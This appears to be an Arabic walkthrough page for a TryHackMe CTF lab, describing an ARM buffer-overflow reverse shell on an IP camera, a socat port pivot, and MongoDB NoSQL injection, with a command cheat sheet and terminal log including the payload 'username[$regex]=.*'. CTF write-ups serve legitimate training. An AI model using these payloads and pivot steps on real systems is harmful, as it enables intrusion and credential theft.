Lab: Snowy ARMageddon | STY IT Labs
STY IT Labs · TryHackMe · Insane · Advent of Cyber 2023 — Side Quest 2

Lab: Snowy ARMageddon
كسر كاميرا ARM ثم NoSQL Injection

اختراق محيط الشرطة السيبرانية (CyberPolice) — استغلال Buffer Overflow يدوي بلغة ARM Assembly ضد كاميرا مراقبة قديمة، ثم Pivoting داخلي واستغلال NoSQL Injection على تطبيق ويب بـ MongoDB.

Insane Difficulty ARM Shellcode Buffer Overflow Port Pivoting NoSQL Injection Side Quest 2/4
port 50628 CyberPolice ARMAGEDDON
Insane
4 – 8 ساعات
2 Flags
2 / 4
TryHackMe
Embedded ARM + Linux

عن اللاب

Advent of Cyber 2023 — Side Quest 2: Snowy ARMageddon

جزء تاني من قصة Bandit Yeti — بعد ما وصلت لأول مفتاح، دلوقتي عليك تخترق محيط الشرطة السيبرانية (CyberPolice) نفسه. المفتاح الوحيد المعروض عليك: كاميرا مراقبة قديمة شغّالة على معالج ARM.

اللاب ده من أصعب لابات الموقع تقنيًا — مش بس استغلال، لكن بناء الاستغلال نفسه بلغة ARM Assembly يدويًا، وبعدين Pivoting داخلي معقّد عشان توصل لتطبيق ويب تاني، واستغلال NoSQL Injection على MongoDB لتخطي تسجيل الدخول.

قبل الوصول للاب، لازم تحل لغز Memory Corruption في لعبة نصية جوه Day 6 من الحدث الرئيسي — استغلال Buffer Overflow بسيط عن طريق تسمية شخصيتك بأسماء محسوبة بدقة، وإدخال كود الغش الشهير بتاع لعبة Contra.

Bandit Yeti Badge — الجزء 2

من أصعب 4 أجزاء متصلة تحكي قصة اختراق Best Festival Company كاملة

مسار الهجوم الكامل

1

Recon — اكتشاف الكاميرا المخفية

سكان صامت (nmap -sS) عشان ما نلفتش النظر (تلميح: “بيني كالثلج المتساقط”). بيطلّع 4 منافذ: SSH و23(tcpwrapped) و8080(Apache، 403 Forbidden) وport 50628 غامض بيرد بإعادة توجيه لجهاز اسمه NC-227WF-HD-720P — كاميرا مراقبة قديمة.

nmap -sS -sV -sC -p 22,23,8080,50628port 50628 → IP Camera
2

إيجاد Exploit عام للكاميرا

بحث عن اسم الكاميرا بيطلّع writeup منشور فعليًا لنفس التحدي بالظبط — بيوضّح Buffer Overflow في حقل الـ Basic Auth بتاع صفحة الدخول، وبيوفّر سكريبت pwntools كامل بـ ARM shellcode جاهز لتنفيذ /bin/sh عبر reverse shell.

public writeup + pwntools scriptARM (32-bit) shellcode
3

تعديل الـ Shellcode يدويًا

الـ IP بتاع المهاجم الأصلي مكوّد جوه الـ shellcode نفسه. لازم نستبدله بـ IP بتاعنا — لكن أي رقم فيه فك تشفيره لـ Byte من ضمن “Bad Characters” (زي 0x0a) بيكسر السكريبت. الحل: نفكّك الكود بمُجمِّع ARM أونلاين، نعدّل الرياضيات (زي جمع 8+2 بدل كتابة 10 مباشرة) عشان نتجنّب الـ Byte الممنوع، ونجمّعه تاني.

avoid bad chars (0x00,0x0a,0x0d…)online ARM assembler/disassembler
4

Flag 1 — Root على الكاميرا نفسها

تشغيل السكريبت المعدّل بيدّي reverse shell بصلاحية root مباشرة على الجهاز المدمج (embedded). مفيش أدوات تعداد فيه، فبنتصفح المجلدات يدويًا ونلاقي بيانات دخول لوحة تحكم الكاميرا بالنص الصريح في /var/etc/umconfig.txt. الدخول بيها بيوريك بث كاميرا مكتب Frosteau وأول Flag من اللاب ده.

/var/etc/umconfig.txt (plaintext creds)Flag 1
5

Port Pivoting — من 50628 لـ 8080 الداخلي

تطبيق الويب الحقيقي (port 8080) بيرفض الوصول من بره الشبكة، لكن من جوه الكاميرا نفسها بيرد 401 بدل 403 — يعني متاح محليًا بس. بما إن socat وnetstat مش موجودين على الجهاز (ARM)، بنجيب نسخ static ARM binaries، نلاقي الـ PID بتاع خدمة “Webs” الشاغلة port 50628، نقفلها، ونربط نفس المنفذ فورًا بـ socat يوجّه لـ 8080 الداخلي — كده بقى متاح من بره.

netstat-armel-static -tulpenkill webs; socat tcp-listen:50628,fork → tcp:127.0.0.1:8080
6

استكشاف التطبيق الداخلي

Gobuster وNikto على المنفذ المُعاد توجيهه بيكشفوا: مجلد /vendor، ملفات .DS_Store مسرّبة (بتكشف إن الـ Backend شغّال بـ MongoDB)، وثغرة تصميم بسيطة: أي مسار بينتهي بـ .php/ (بشرطة مايلة إضافية) بيتخطى الحماية اللي بتمنع الوصول المباشر لملفات .php.

gobuster + niktotrailing-slash bypass: login.php/
7

تخطي تسجيل الدخول بـ NoSQL Injection

تطبيق تسجيل الدخول عرضة لـ NoSQL Injection كلاسيكي: تحويل باراميتر PHP من نص عادي لمصفوفة (username[$regex]=.*) بيخلي MongoDB يطابق أول مستخدم في القاعدة، متجاوزين التحقق من الباسورد بالكامل.

username[$regex]=.*MongoDB auth bypass
8

Flag 2 — تعداد المستخدمين واستخراج yetikey2.txt

نفس ثغرة الـ NoSQL بتسمح بتعداد أسماء وباسوردات المستخدمين حرف بحرف (blind regex enumeration) باستخدام سكريبت عام من GitHub. بعد استخراج 17 اسم مستخدم وعدة باسوردات، تجربتهم في Burp Repeater بتوريك إن حساب المستخدم Frosteau عنده dashboard فيه yetikey2.txt.

blind NoSQLi char-by-char enumerationyetikey2.txt

مراحل اللاب

Recon
ARM Shellcode
Camera RCE
Port Pivot
Web Enum
NoSQLi Bypass
2 Flags

Commands Cheat Sheet

الأمرالوصفالمرحلة
nmap -sS -sV -sC -p 22,23,8080,50628 IPسكان صامت لتجنّب إغلاق الخدمة الحساسةRecon
python3 exploit.py # ARM shellcode, IP معدّلاستغلال Buffer Overflow في واجهة الكاميراRCE
./netstat-armel-static -tulpenإيجاد الـ PID الشاغل للمنفذ المكشوفPivot
kill PID; ./socat-armel-static tcp-listen:50628,fork,reuseaddr tcp:127.0.0.1:8080إعادة توجيه المنفذ العام لتطبيق داخليPivot
gobuster dir -u http://IP:50628 -w wordlistاكتشاف مسارات التطبيق الداخليEnum
python3 ds_store_exp.py -u http://IP:50628/استخراج ملفات .DS_Store المسرّبةEnum
username[$regex]=.*&password[$regex]=.*تجاوز تسجيل الدخول عبر NoSQL InjectionAuth Bypass
python3 nosqli-user-pass-enum.py -u …/login.php/ -up username -pp password -ep usernameتعداد أسماء المستخدمين حرف بحرفEnum

Flags والمهام

01

Flag 1 — بث كاميرا Frosteau

ARM shellcode RCE على الكاميرا · بيانات دخول بالنص الصريح

Flag 1
02

Flag 2 — yetikey2.txt

Port pivoting · NoSQL Injection · تعداد مستخدمين

Flag 2
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — Snowy ARMageddon Full Attack

root@kali — ARMageddon
# ── ARM Shellcode Exploit ───────────────────────
└─# python3 exploit.py # adjusted IP, avoided bad chars
[+] Shellcode length: 172 — no bad characters found
[+] Got shell on the camera (root)

# ── Flag 1: creds in plaintext ──────────────────
camera# cat /var/etc/umconfig.txt
admin:REDACTED_PASSWORD
[+] logged into camera UI → Frosteau’s office feed + Flag 1

# ── Port Pivot ───────────────────────────────────
camera# ./netstat-armel-static -tulpen | grep 50628
tcp 0 0 0.0.0.0:50628 LISTEN 11097/webs
camera# kill 11097; ./socat-armel-static tcp-listen:50628,fork,reuseaddr tcp:127.0.0.1:8080
[+] port 50628 now forwards to internal 8080

# ── NoSQL Injection ──────────────────────────────
└─# # Burp Repeater: username[$regex]=.*&password[$regex]=.*
[+] 302 redirect — logged in as first matching user
└─# python3 nosqli-user-pass-enum.py -u http://TARGET:50628/login.php/ …
17 usernames enumerated — trying each session with Frosteau’s password
GET /index.php/ # with Frosteau’s PHPSESSID
yetikey2.txt: yeti{…} ← Flag 2

└─#

المهارات المكتسبة

Silent (SYN) Scanning
ARM Assembly & Shellcode
Manual Buffer Overflow Exploitation
Static Binary Transfer (Embedded)
Port Pivoting via socat
.DS_Store Information Disclosure
NoSQL Injection (MongoDB)
Blind Enumeration Scripting

الأدوات المستخدمة

pwntools (Python)بناء وإرسال حمولة الـ Buffer Overflow
ARM Online Assembler/Disassemblerتفكيك وتعديل الـ shellcode يدويًا
Static ARM Binaries (socat, netstat)أدوات تعداد وPivoting على جهاز ARM بلا busybox كامل
Gobuster / Niktoاكتشاف مسارات ونقاط ضعف التطبيق الداخلي
Burp Suite (Repeater/Intruder)استغلال وتعداد NoSQL Injection يدويًا
قبل ما تكتب أي exploit من الصفر، دوّر على اسم الجهاز أو الخدمة نفسها — في اللاب ده كان فيه writeup منشور فعليًا لنفس الكاميرا بالظبط، ووفّر علينا ساعات من العمل.